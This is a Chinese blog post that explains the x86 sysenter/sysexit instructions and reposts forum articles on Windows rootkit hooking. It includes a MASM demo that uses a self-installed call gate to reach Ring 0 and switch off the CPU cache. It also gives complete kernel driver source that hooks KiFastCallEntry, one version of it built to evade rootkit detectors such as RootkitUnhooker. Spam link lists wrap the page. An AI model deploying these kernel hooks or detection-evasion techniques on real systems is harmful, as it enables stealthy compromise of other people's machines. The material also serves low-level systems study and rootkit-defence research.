青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

隨筆 - 8  文章 - 26  trackbacks - 0
<2025年9月>
31123456
78910111213
14151617181920
21222324252627
2829301234
567891011

常用鏈接

留言簿(5)

隨筆檔案

文章分類

文章檔案

相冊

C++語言

搜索

  •  

最新評論

閱讀排行榜

評論排行榜

在 Intel 的軟件開發者手冊第二、三卷(Vol.2B,Vol.3)中,4.8.7 節是關于 sysenter/sysexit 指令的詳細描述。手冊中說明,sysenter

指令可用于特權級 3 的用戶代碼調用特權級 0 的系統內核代碼,而 SYSEXIT 指令則用于特權級 0 的系統代碼返回用戶空間中。sysenter 指

令可以在 3,2,1 這三個特權級別調用(Linux 中只用到了特權級 3),而 SYSEXIT 指令只能從特權級 0 調用。

執行 sysenter 指令的系統必須滿足兩個條件:1.目標 Ring 0 代碼段必須是平坦模式(Flat Mode)的 4GB 的可讀可執行的非一致代碼段。

2.目標 RING0 堆棧段必須是平坦模式(Flat Mode)的 4GB 的可讀可寫向上擴展的棧段。

在 Intel 的手冊中,還提到了 sysenter/sysexit 和 int n/iret 指令的一個區別,那就是 sysenter/sysexit 指令并不成對,sysenter 指

令并不會把 SYSEXIT 所需的返回地址壓棧,sysexit 返回的地址并不一定是 sysenter 指令的下一個指令地址。調用 sysenter/sysexit 指令

地址的跳轉是通過設置一組特殊寄存器實現的。這些寄存器包括:

SYSENTER_CS_MSR - 用于指定要執行的 Ring 0 代碼的代碼段選擇符,由它還能得出目標 Ring 0 所用堆棧段的段選擇符;

SYSENTER_EIP_MSR - 用于指定要執行的 Ring 0 代碼的起始地址;

SYSENTER_ESP_MSR-用于指定要執行的Ring 0代碼所使用的棧指針

這些寄存器可以通過 wrmsr 指令來設置,執行 wrmsr 指令時,通過寄存器 edx、eax 指定設置的值,edx 指定值的高 32 位,eax 指定值的

低 32 位,在設置上述寄存器時,edx 都是 0,通過寄存器 ecx 指定填充的 MSR 寄存器,sysenter_CS_MSR、sysenter_ESP_MSR、

sysenter_EIP_MSR 寄存器分別對應 0x174、0x175、0x176,需要注意的是,wrmsr 指令只能在 Ring 0 執行。

這里還要介紹一個特性,就是 Ring0、Ring3 的代碼段描述符和堆棧段描述符在全局描述符表 GDT 中是順序排列的,這樣只需知道

SYSENTER_CS_MSR 中指定的 Ring0 的代碼段描述符,就可以推算出 Ring0 的堆棧段描述符以及 Ring3 的代碼段描述符和堆棧段描述符。

在 Ring3 的代碼調用了 sysenter 指令之后,CPU 會做出如下的操作:

1. 將 SYSENTER_CS_MSR 的值裝載到 cs 寄存器

2. 將 SYSENTER_EIP_MSR 的值裝載到 eip 寄存器

3. 將 SYSENTER_CS_MSR 的值加 8(Ring0 的堆棧段描述符)裝載到 ss 寄存器。

4. 將 SYSENTER_ESP_MSR 的值裝載到 esp 寄存器

5. 將特權級切換到 Ring0

6. 如果 EFLAGS 寄存器的 VM 標志被置位,則清除該標志

7. 開始執行指定的 Ring0 代碼

在 Ring0 代碼執行完畢,調用 SYSEXIT 指令退回 Ring3 時,CPU 會做出如下操作:

1. 將 SYSENTER_CS_MSR 的值加 16(Ring3 的代碼段描述符)裝載到 cs 寄存器

2. 將寄存器 edx 的值裝載到 eip 寄存器

3. 將 SYSENTER_CS_MSR 的值加 24(Ring3 的堆棧段描述符)裝載到 ss 寄存器

4. 將寄存器 ecx 的值裝載到 esp 寄存器

5. 將特權級切換到 Ring3

6. 繼續執行 Ring3 的代碼

由此可知,在調用 SYSENTER 進入 Ring0 之前,一定需要通過 wrmsr 指令設置好 Ring0 代碼的相關信息,在調用 SYSEXIT 之前,還要保證

寄存器edx、ecx 的正確性。

 

根據 Intel 的 CPU 手冊,我們可以通過 CPUID 指令來查看 CPU 是否支持 sysenter/sysexit 指令,做法是將 EAX 寄存器賦值 1,調用

CPUID 指令,寄存器 edx 中第 11 位(這一位名稱為 SEP)就表示是否支持。在調用 CPUID 指令之后,還需要查看 CPU 的 Family、Model、

Stepping 屬性來確認,因為據稱 Pentium Pro 處理器會報告 SEP 但是卻不支持 sysenter/sysexit 指令。只有 Family 大于等于 6,Model

大于等于 3,Stepping 大于等于 3 的時候,才能確認 CPU 支持 sysenter/sysexit 指令。

 

/=============================================================================
//在WINDBG中對NTDLL.dll中的NtCreateFile函數的調試信息
ntdll!NtCreateFile:
7c92d682 b825000000      mov     eax,25h
7c92d687 ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
7c92d68c ff12            call    dword ptr [edx]
7c92d68e c22c00          ret     2Ch


lkd> dd 7ffe0300
7ffe0300  7c92eb8b 7c92eb94 00000000 00000000


lkd> u 7c92eb8b
ntdll!KiFastSystemCall:
7c92eb8b 8bd4            mov     edx,esp
7c92eb8d 0f34            sysenter

/**************************************************************/
 
SYSENTER簡介及相關例子
 
 
文章作者:wowocock1/CVC.GB

;眾所周知微軟自XP后引進了FASTCALL SYSENTER,SYSEXIT來代替WIN2K下INT2E系統服務調用
;其優點是快速而且沒有保留堆棧的開銷,為了便于大家理解我寫下面一個在WIN98下的例子
;來說明一下這2條指令的用法。ITNEL的手冊上關于他們介紹的很詳細,我簡要說明一下
;SYSENTER是INTEL自P2后引進的快速從RING3~RING0的FASTCALL,從FAMILY 6,MODEL 3,
;STEP 3也就是從PII300以后引進的,這也是為什么WINXP需要PII300以上的原因。在使用SYSENTER
;之前必須定義好RING0 CS EIP ESP,通過設置相應MSR寄存器,由WRMSR指令來設定(必須在RING0層執行);
;通過將相應的寄存器地址號放入ECX中,WRMSR可以設置這些MSR寄存器,對應關系如下
;SYSENTER_CS_MSR 174H SYSENTER_ESP_MSR 175H SYSENTER_EIP_MSR 176H
;執行SYSENTER指令的系統必須滿足 1:轉換后的RING0代碼段必須是FLAT,4GB的可讀可執行
;的非一致代碼段.2:轉換后的RING0堆棧段必須是FLAT,4GB的可讀可寫向上擴展的數據段
;由于FASTCALL不保存任何返回的地址,所以在調用前你必須自己設定好,RING0代碼段SELECTOR
;RING0堆棧段SELECTOR,RING3代碼段SELECTOR,RING3堆棧段SELECTOR,必須在GDT中連續的排列
;所以在XP下相應的SELECTOR,必然是8H,10H,1BH,23H,必須將返回至RING3 EIP,ESP通過寄存器
;傳遞進RING0以便SYSEXIT返回使用,在SYSEXIT返回之前,EDX為RING3 EIP,ECX為RING3 ESP
;而相應的CS,SS,則由RING0 CS加上10H,18H來返回
;RING3~RING0
;1. 裝載SYSENTER_CS_MSR 到CS 寄存器.
;2. 裝載SYSENTER_EIP_MSR到 EIP寄存器。
;3. SYSENTER_CS_MSR+8 裝載到SS寄存器
;4.裝載SYSENTER_ESP_MSR 到ESP寄存器。
;5. 切換RING0.
;6. 清除 EFLAGS的 VM標志
;7. 執行RING0例程
;RING0~RING3
;1。SYSENTER_CS_MSR+16裝載到 CS寄存器
;2. 將EDX的值送入EIP
;3. SYSENTER_CS_MSR+24 裝載到SS寄存器
;4. 將ECX的值送入ESP
;5.切換回RING3
;6. 執行EIP處的RING3指令
;下面的例子在示范的基礎上加了個小TRICK,就是在通過CALLGATE進RING0設置MSR寄存器的同時
;關掉了你機器上的緩存,然后你可以看看在沒有緩存的情況下你的感覺如何,然后點擊一下
;對話框,則經由SYSENTER指令進入RING0設定好的地址處恢復你CPU緩存,所以別擔心,還有
;沒有緩存的時候你的動作最好慢一點,不然會讓你等的發瘋的,呵呵。
.686p
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc

includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

sysenter macro
db 0fh,34h
endm

sysexit macro
db 0fh,35h
endm

CR0_CD EQU 040000000h ; Cache Disable bit of CR0
CR0_NW EQU 020000000h ; Not Write-through bit of CR0
.data
Ring0Cs dw 0ffffh,0,09b00h,0cfh
Ring0Ss dw 0ffffh,0,09300h,0cfh
Ring3Cs dw 0ffffh,0,0fb00h,0cfh
Ring3Ss dw 0ffffh,0,0f300h,0cfh

trR dw ?
tssRing0Esp dd ?
GdtLimit dw ?
GdtAddr dd ?

Callgt dq 0 ;call gate’s selff
tmpCs dw ?
szTitle db "CPU info",0
msg db 100 dup (?)
Nightmare db "切換到其他窗口,嘗嘗沒CACHE的滋味!",0

.code
Start:
mov ax,ds
test ax,4
jz Exit;winnt
xor eax,eax
cpuid
lea edi,msg
xchg eax,ebx
stosd
xchg eax,edx
stosd
xchg eax,ecx
stosd
invoke MessageBoxA,0,addr msg,addr szTitle,0
mov eax,1
cpuid
test edx,800h
jz Exit
mov eax,2
cpuid
SetSel:
sgdt GdtLimit
str word ptr trR ;存儲任務寄存器
;-----------------------
; get the tr mes
;-----------------------
movzx esi,trR
add esi,GdtAddr   ;ESi指向GDT中TSS描述副
mov eax,[esi+2]
and eax,0ffffffh
mov ebx,[esi+4]
and ebx,0ff000000h
or eax,ebx    ;eax中保存TSS的基地址

push dword ptr[eax+4]
pop dword ptr [tssRing0Esp] ;保存RING0使用的堆棧地址


movzx eax,GdtLimit ;在GDT的最后選取四個表目將預設的4個描述符存入
test al,1
jz @f
inc eax
@@:
sub eax,4*8
mov tmpCs,ax
add eax,GdtAddr
lea esi,Ring0Cs
mov edi,eax
mov ecx,4*8
rep movsb

SetMsr:
;-------------------------------------
; 在GDT中尋找空白表項來制造調用門
;-------------------------------------
mov esi,GdtAddr
movzx eax,GdtLimit
call Search_XDT
;esi==gdt Base
mov esi,dword ptr GdtAddr
push offset Ring0_SetMsr
pop word ptr [esi+eax+0]
pop word ptr [esi+eax+6] ;Offset

mov word ptr [esi+eax+2],28h
mov word ptr [esi+eax+4],0EC00h ;sel=28h and attribute ->386 call gate!

and dword ptr Callgt,0

mov word ptr [Callgt+4],ax
pushad
call fword ptr [Callgt] ;Ring0!
popad
mov dword ptr [esi+eax+0],0
mov dword ptr [esi+eax+4],0

invoke MessageBoxA,0,addr Nightmare,addr Nightmare,0
lea edx,Exit
mov ecx,esp
sysenter

Exit:
push 00000000h ; Exit program
call ExitProcess

;----------------------------------------------------------------------

Ring0_SetMsr:
mov ecx,174h
movzx eax,tmpCs
wrmsr
inc ecx
mov eax,tssRing0Esp
wrmsr
inc ecx
lea eax,Ring0Ip
wrmsr

mov eax,cr0 ; read CR0
or eax,CR0_CD ; set CD but not NW bit of CR0
mov cr0,eax ; cache is now disabled
wbinvd ; flush and invalidate cache

; the cache is effectively disabled at this point, but memory
; consistency will be maintained. To completely disable cache,
; the following two lines may used as well:

or eax,CR0_NW ; now set the NW bit
mov cr0,eax ; turn off the cache entirely

retf

;----------------------------------------------------------------------
Ring0Ip:
pushad

pushf ; save the flags
cli ; disable interrupts while we do this
mov eax,cr0 ; read CR0
and eax,0dfffffffh ; now set the NW bit
mov cr0,eax ; turn on the cache entirely

and eax,0bfffffffh ; set CD but not NW bit of CR0
mov cr0,eax ; cache is now Ensabled

popf ; restore the flags

mov eax,cr0
mov [esp+4*7],eax
popad
sysexit

;----------------------------------------------------------------------

Search_XDT proc near
;entry esi==Base of Ldt or GDT ;Eax==Limit

pushad
mov ebx,eax
mov eax,8 ; skipping null selector
@@1:
cmp dword ptr [esi+eax+0],0
jnz @@2
cmp dword ptr [esi+eax+4],0
jz @@3
@@2:
add eax,8
cmp eax,ebx
jb @@1 ;if we haven’t found any free GDT entry,
;lets use the last two entries
mov eax,ebx
sub eax,7
@@3:
mov [esp+4*7],eax ; return off in eax
popad
ret
Search_XDT endp
end Start


;=======================================================================================================
1   【原創】rootkit hook之[六] -- sysenter Hook    

--------------------------------------------------------------------------------

標 題: 【原創】rootkit hook之[六] -- sysenter Hook
作 者: combojiang
時 間: 2008-02-26,12:25
鏈 接: http://bbs.pediy.com/showthread.php?t=60247

呵呵,今天這篇內容少,比較簡單。

SYSENETER是一條匯編指令,它是在Pentium? II 處理器及以上處理器中提供的,是快速系統調用的一部分。SYSENTER/SYSEXIT這對指令專門用于實現快速調用。在這之前是采用INT 0x2E來實現的。INT 0x2E在系統調用的時候,需要進行棧切換的工作。由于Interrupt/Exception Handler的調用都是通過 call/trap/task這一類的gate來實現的,這種方式會進行棧切換,并且系統棧的地址等信息由TSS提供。這種方式可能會引起多次內存訪問 (來獲取這些切換信息),因此,從PentiumII開始,IA-32引入了新指令:SYSENTER/SYSEXIT。 有了這兩條指令,
從用戶級到特權級的堆棧以及指令指針的轉換,可以通過這一條指令來實現,并且,需要切換到的新堆棧的地址,以及相應過程的第一條指令的位置,都有一組特殊寄存器來實現,這類特殊寄存器在IA-32中稱為MSR(Model Specific Register)。這里牽涉到3個特殊寄存器:
SYSENTER_CS_MSR: New code segment selector   0x174
SYSENTER_ESP_MSR: New Stack Pointer                0x175
SYSENTER_EIP_MSR: New Instruction Pointer        0x176
這里標出的3個16進制數分別對應這3個寄存器的地址,該地址用于Kernel debug時,通過rdmsr/wrmsr指令來讀/寫這3個寄存器。步驟如下:
10.JPG
1. 裝載SYSENTER_CS_MSR 到CS 寄存器,設置目標代碼段
2. 裝載SYSENTER_EIP_MSR到 EIP寄存器,設置目標指令
3. SYSENTER_CS_MSR+8 裝載到SS寄存器 ,設置棧段
4. 裝載SYSENTER_ESP_MSR 到ESP寄存器,設置棧幀
5. 切換RING0.
6. 清除 EFLAGS的 VM標志
7. 執行RING0例程

11.JPG
1. SYSENTER_CS_MSR+16裝載到 CS寄存器
2. 將EDX的值送入EIP
3. SYSENTER_CS_MSR+24 裝載到SS寄存器
4. 將ECX的值送入ESP
5. 切換回RING3
6. 執行EIP處的RING3指令

我們在windbg中可以看看這個三個寄存器的情況,這個是我機器里的情況。
lkd> rdmsr 176
msr[176] = 00000000`8053dad0
lkd> rdmsr 175
msr[175] = 00000000`ba4e0000
lkd> rdmsr 174
msr[174] = 00000000`00000008

可以看到,我的機器里面當前SYSENTER_EIP_MSR,SYSENTER_ESP_MSR,SYSENTER_CS_MSR這三個寄存器的值。

我們在微軟公開的內核WRK中發現關于這三個寄存器的設置,其中SYSENTER_EIP_MSR設置的值是KiFastCallEntry。
代碼如下:
VOID
KiLoadFastSyscallMachineSpecificRegisters(
    IN PLONG Context
    )

/*++

Routine Description:

    Load MSRs used to support Fast Syscall/return.  This routine is
    run on all processors.

Arguments:

    None.

Return Value:

    None.

--*/

{
    PKPRCB Prcb;

    UNREFERENCED_PARAMETER (Context);

    if (KiFastSystemCallIsIA32) {

        Prcb = KeGetCurrentPrcb();

        //
        // Use Intel defined way of doing this.
        //

        WRMSR(MSR_SYSENTER_CS,  KGDT_R0_CODE);
        WRMSR(MSR_SYSENTER_EIP, (ULONGLONG)(ULONG)KiFastCallEntry);
        WRMSR(MSR_SYSENTER_ESP, (ULONGLONG)(ULONG)Prcb->DpcStack);

    }
}

看看我電腦的情況如下:
lkd> rdmsr 176
msr[176] = 00000000`8053dad0
lkd> u 8053dad0
nt!KiFastCallEntry:
8053dad0 b923000000      mov     ecx,23h
8053dad5 6a30            push    30h
8053dad7 0fa1            pop     fs
8053dad9 8ed9            mov     ds,cx
8053dadb 8ec1            mov     es,cx
8053dadd 8b0d40f0dfff    mov     ecx,dword ptr ds:[0FFDFF040h]
8053dae3 8b6104          mov     esp,dword ptr [ecx+4]
8053dae6 6a23            push    23h

下面是rootkit.com上的一個例子,這個例子有點不厚道,在你卸載的時候會bsod.我簡單修改了下,貼代碼如下:
#include "ntddk.h"

ULONG d_origKiFastCallEntry; // Original value of ntoskrnl!KiFastCallEntry

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
    _asm
    {
          mov ecx, 0x176
        xor edx,edx
        mov eax, d_origKiFastCallEntry     // Hook function address
        wrmsr                        // Write to the IA32_SYSENTER_EIP register
      }
}

// Hook function
__declspec(naked) MyKiFastCallEntry()
{
  __asm {
    jmp [d_origKiFastCallEntry]
  }
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
  theDriverObject->DriverUnload  = OnUnload;

  __asm {
            mov ecx, 0x176
        rdmsr                 // read the value of the IA32_SYSENTER_EIP register
        mov d_origKiFastCallEntry, eax
        mov eax, MyKiFastCallEntry     // Hook function address
        wrmsr                        // Write to the IA32_SYSENTER_EIP register
  }

  return STATUS_SUCCESS;
}

注意一點,大家用windbg的時候,配置symbol path,如圖:
9.JPG

后面貼上一篇墮落天才寫的文章鏈接:http://bbs.pediy.com/showthread.php?t=42705
他inline hook 了KiFastCallEntry,采用detour方式,寫得很不錯。

 


上傳的附件 SysEnterHook.rar (973 字節, 743 次下載) 
 
;=====================================================================================================================
   【原創】另一種sysenter hook方法(繞過絕大多數的rootkit檢測工具的檢測)   

--------------------------------------------------------------------------------

標 題: 【原創】另一種sysenter hook方法(繞過絕大多數的rootkit檢測工具的檢測)
作 者: 墮落天才
時 間: 2007-04-14,11:09
鏈 接: http://bbs.pediy.com/showthread.php?t=42705

*****************************************************************************
*標題:【原創】另一種sysenter hook方法(繞過絕大多數的rootkit檢測工具的檢測)  *
*作者:墮落天才                                                              *
*日期:2007年4月14號                                                         *
*****************************************************************************

    先廢話,當初是為了繞開NP對sysenter保護而想出來的,后來發現連RootkitUnhooker都繞了.

    什么是sysenter hook我也不羅唆了,一般的攔截方法就是通過rdmsr wrmsr 兩個指令把原來的sysenter地址改成自己的sysenter地址來實現的.這種方法使用方便,但檢測也很容易.
    這里介紹的另外一種方法不改變sysenter地址,而是通過直接在原來sysenter地址里面寫跳轉代碼來實現的,這實際上跟一般的函數頭inline hook一樣.這樣rootkit檢測工具就不會認為sysenter已經改變(實際上也是沒變).
    一般的rootkit檢測工具檢測函數inline hook是通過檢測長跳轉指令0xE9的來判斷跳轉距離是不是超出函數所在的模塊范圍來確定的.但是實現跳轉我們也可以借助寄存器或變量(用變量跳轉需要涉及重定位問題,麻煩.所以一般用寄存器),這樣跳轉指令就不是0xE9了而是0xFF,這個絕大多數rootkit檢測工具是檢測不到的(包括著名的RootkitUnhooker,VICE).

    由于我們已經改變了KiFastCall函數頭,所以我們只能把原來的函數頭代碼放到另外一個地方執行(動態分配內存,當然如果不考慮兼容性硬編碼也沒問題),然后再跳轉回來.這里使用了"三級跳",大概是這個樣子.
    sysenter->KiFastCall
             JMP -> MyKiFastCall(這里進行攔截或什么的)
                    JMP -> KiFastCall head code (這里執行原來KiFastCall函數頭代碼)
                           JMP -> KiFastCall + N(已經執行指令長度)
/////////////////////////////////////////////////////////////////////////////////////////////////// 
//墮落天才
//2007年4月14日
#include<ntddk.h>
#include "OpCodeSize.h"

ULONG uSysenter;           //sysenter地址
UCHAR uOrigSysenterHead[8];//保存原來的八個字節函數頭
PUCHAR pMovedSysenterCode; //把原來的KiFastCall函數頭保存在這里
ULONG i;                   //記錄服務ID
__declspec(naked) void MyKiFastCallEntry(void)
{
  __asm{
            pop  edi     //因為用到了edi來跳轉 這里恢復
             mov  i, eax  //得到服務ID
  }
  __asm{ 
           pushad
           push fs
             push 0x30
            pop fs
  }
 
  DbgPrint("sysenter was hooked! Get service ID:%X",i); //證明自己存在

  __asm{
             pop fs
             popad   
    jmp pMovedSysenterCode //第二跳,跳轉到原來的函數頭代碼
  }
 
}
//////////////////////////////////////////////////////
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{   
  __asm{
    cli
             mov  eax,cr0
    and  eax,not 10000h
    mov  cr0,eax
  }

  memcpy((PVOID)uSysenter,uOrigSysenterHead,8);//把原來函數頭的八個字節恢復

  __asm{
    mov  eax,cr0
            or   eax,10000h
    mov  cr0,eax
    sti
  }
  ExFreePool(pMovedSysenterCode); // 釋放分配的內存
  DbgPrint("Unload sysenterHook");
}
////////////////////////////////////////////////////////

VOID HookSysenter()
{
  UCHAR  cHookCode[8] = { 0x57,          //push edi       第一跳,從KiFastCall跳到MyKiFastCallEntry.并繞過rootkit檢測工具檢測
                          0xBF,0,0,0,0,  //mov  edi,0000
                          0xFF,0xE7};    //jmp  edi

  UCHAR  JmpCode[]={0xE9,0,0,0,0};       //jmp 0000 第三跳,從KiFastCall函數頭代碼跳轉到原來KiFastCall+N

  int    nCopyLen = 0;
  int    nPos = 0;

  __asm{
          mov ecx,0x176
            rdmsr
    mov uSysenter,eax  //得到KiFastCallEntry地址
  }
  DbgPrint("sysenter:0x%08X",uSysenter);

  nPos = uSysenter;
   while(nCopyLen<8){ //我們要改寫的函數頭至少需要8字節 這里計算實際需要COPY的代碼長度 因為我們不能把一條完整的指令打斷
    nCopyLen += GetOpCodeSize((PVOID)nPos);  //參考1
    nPos = uSysenter + nCopyLen;
  }
 
  DbgPrint("copy code lenght:%d",nCopyLen);

  pMovedSysenterCode = ExAllocatePool(NonPagedPool,20);

  memcpy(uOrigSysenterHead,(PVOID)uSysenter,8);//備份原來8字節代碼

  *((ULONG*)(JmpCode+1)) = (uSysenter + nCopyLen) - ((ULONG)pMovedSysenterCode + nCopyLen)- 5;//計算跳轉地址

  memcpy(pMovedSysenterCode,(PVOID)uSysenter,nCopyLen); //把原來的函數頭放到新分配的內存
  memcpy((PVOID)(pMovedSysenterCode + nCopyLen),JmpCode,5); //把跳轉代碼COPY上去

  *((ULONG*)(cHookCode+2)) = (ULONG)MyKiFastCallEntry; //HOOK地址
 
  DbgPrint("Saved sysenter code:0x%08X",pMovedSysenterCode);
  DbgPrint("MyKiFastCallEntry:0x%08X",MyKiFastCallEntry);

  __asm{
    cli
            mov  eax,cr0
    and  eax,not 10000h
    mov  cr0,eax
  }

  memcpy((PVOID)uSysenter,cHookCode,8);//把改寫原來函數頭

  __asm{
    mov  eax,cr0
            or   eax,10000h
    mov  cr0,eax
    sti
  }

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{

  DbgPrint("Welcome to sysenterhook.sys");
  DriverObject->DriverUnload = OnUnload;
  HookSysenter();
  return STATUS_SUCCESS;
}   
///////////////////////////////////////////////////////////////////////////////////////////////////
以上代碼在 XP SP2中文 + RootkitUnhooker下測試通過

同理 IDT hook也可以用這種方法實現,HOOK的實質是改變程序流程,無論在哪里改變
*************************************************************************************************
參考1, 海風月影,【分享】西褲哥的 Hook Api Lib 0.2 For C 

;http://bbs.pediy.com/showthread.php?p=420864
 
 

posted on 2009-09-04 19:40 楊彬彬 閱讀(3666) 評論(0)  編輯 收藏 引用
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲国产专区| 亚洲麻豆一区| 亚洲精选一区| 久久爱www.| 久久国产精品99精品国产| 老司机免费视频久久| 一本色道久久加勒比88综合| 久久精品国产一区二区三区免费看| 1769国内精品视频在线播放| 国产午夜精品一区二区三区视频 | 中文av字幕一区| 亚洲精选大片| 亚洲一区二区精品视频| 一本色道婷婷久久欧美| 亚洲专区一区二区三区| 欧美在线观看一区二区三区| 欧美一区免费| 欧美成人r级一区二区三区| 欧美激情第3页| 国产精品久久久久久久久久尿| 国产精品乱码久久久久久| 国产精品美女久久久久aⅴ国产馆| 欧美精品v日韩精品v韩国精品v | 欧美国产亚洲精品久久久8v| 裸体丰满少妇做受久久99精品| 猫咪成人在线观看| 亚洲天堂av在线免费| 美女精品国产| 国内成+人亚洲| 伊人春色精品| 日韩视频精品在线| 欧美国产一区二区| 亚洲激情亚洲| 中日韩高清电影网| 久久婷婷国产麻豆91天堂| 亚洲网友自拍| 欧美大香线蕉线伊人久久国产精品| 欧美国产日韩a欧美在线观看| 国产真实乱偷精品视频免| 久久er精品视频| 99国产精品久久久久久久| 欧美区二区三区| 99热这里只有精品8| 亚洲国产激情| 欧美黄色免费| 亚洲一区二区三区在线播放| 亚洲精品一级| 国产精品三级久久久久久电影| 亚洲一级高清| 亚洲欧美日韩国产中文在线| 国产日韩欧美在线| 久久久久久亚洲精品不卡4k岛国| 久久国产精品亚洲77777| 国产在线拍揄自揄视频不卡99| 久久久久久97三级| 美女日韩在线中文字幕| 日韩午夜精品| 欧美在线啊v| 99re8这里有精品热视频免费| 亚洲伦伦在线| 永久免费视频成人| 亚洲免费观看视频| 在线观看国产成人av片| 中日韩高清电影网| 99精品国产在热久久下载| 亚洲欧美日韩天堂一区二区| 亚洲国产天堂久久国产91| 亚洲一区免费看| 蜜桃久久av一区| 欧美与欧洲交xxxx免费观看 | 久久成人精品电影| 欧美成人免费在线观看| 久久婷婷激情| 国内成人在线| 欧美一区二区三区男人的天堂 | 韩日欧美一区二区| 最新日韩在线视频| 在线观看成人一级片| 欧美一区二区成人| 久久精品国产69国产精品亚洲| 欧美日韩天天操| 一本久久a久久免费精品不卡| 一区二区三区日韩在线观看| 欧美xart系列高清| 亚洲精品国久久99热| 日韩网站在线| 欧美xx69| 黑人一区二区| 一区二区三区偷拍| 国内一区二区在线视频观看| 亚洲精品婷婷| 亚洲电影免费观看高清完整版在线 | 欧美日韩一区综合| 欧美极品一区| 欧美日韩精品二区第二页| 欧美黑人一区二区三区| 亚洲欧美一区在线| 一区二区三区在线免费视频| 99国产一区| 羞羞视频在线观看欧美| 免费一级欧美片在线观看| 久久成人羞羞网站| 久久精品免费| 久久大综合网| 欧美日韩在线三区| 欧美在线关看| 亚洲深夜av| 国产综合久久久久久| 亚洲一区二区三区激情| 亚洲精品国久久99热| 亚洲在线免费| 欧美成人影音| 亚洲欧美激情一区二区| 精品成人在线观看| 国产亚洲精品久久飘花| 亚洲一区二区三区在线播放| 亚洲欧美日韩国产一区| 国产欧美日韩三级| 国产欧美一区二区三区视频| 亚洲人成网在线播放| 国产一区二区三区在线观看精品| 亚洲成在人线av| 极品中文字幕一区| 欧美在线观看视频一区二区三区 | 最近中文字幕日韩精品 | 亚洲国产精品成人一区二区| 国产午夜精品全部视频在线播放| 亚洲美女少妇无套啪啪呻吟| 亚洲精品久久久久久一区二区| 欧美一区免费| 久久国产欧美| 亚洲免费电影在线| 亚洲精品中文字| 老司机成人网| 亚洲国产精品v| 亚洲精品韩国| 欧美激情久久久| 最新精品在线| 在线亚洲精品福利网址导航| 欧美伦理影院| 一区二区三区www| 亚洲一区二区不卡免费| 欧美午夜不卡视频| 亚洲日韩欧美视频一区| 久久久久久久久久久一区| 欧美性大战久久久久| 日韩视频一区二区三区在线播放免费观看 | 欧美日韩一区二区三区在线观看免| 亚洲电影第三页| 亚洲精品孕妇| 欧美精品九九99久久| 亚洲精品护士| 亚洲欧美日韩另类精品一区二区三区 | 欧美77777| 亚洲国产欧美另类丝袜| 99精品国产在热久久下载| 欧美视频在线播放| 亚洲欧美怡红院| 免费看成人av| 999亚洲国产精| 国产精品女主播在线观看| 亚洲欧美日韩精品一区二区| 久久免费精品视频| 亚洲精品乱码久久久久| 欧美体内谢she精2性欧美| 亚洲欧美亚洲| 亚洲大片在线| 西西人体一区二区| 亚洲激情视频网| 国产精品丝袜91| 欧美成人精品激情在线观看| 亚洲综合电影| 日韩网站在线观看| 国产一区二区三区丝袜| 欧美va日韩va| 午夜欧美精品久久久久久久| 亚洲大胆在线| 久久久久久成人| 亚洲视频高清| 亚洲国产精品成人一区二区| 国产精品久久久久婷婷| 欧美成人精品影院| 欧美一区二区三区免费观看| 日韩视频免费在线观看| 欧美成年人视频网站欧美| 午夜亚洲性色福利视频| 亚洲另类一区二区| 黄色成人在线免费| 国产精品久久久久久av下载红粉| 久久躁狠狠躁夜夜爽| 亚洲一区二区三区四区五区黄| 欧美福利专区| 亚洲精选大片| 国产日韩一区二区三区在线| 欧美激情精品久久久久久变态| 亚洲免费影院| 99综合电影在线视频| 欧美电影打屁股sp| 麻豆成人精品| 久久婷婷蜜乳一本欲蜜臀|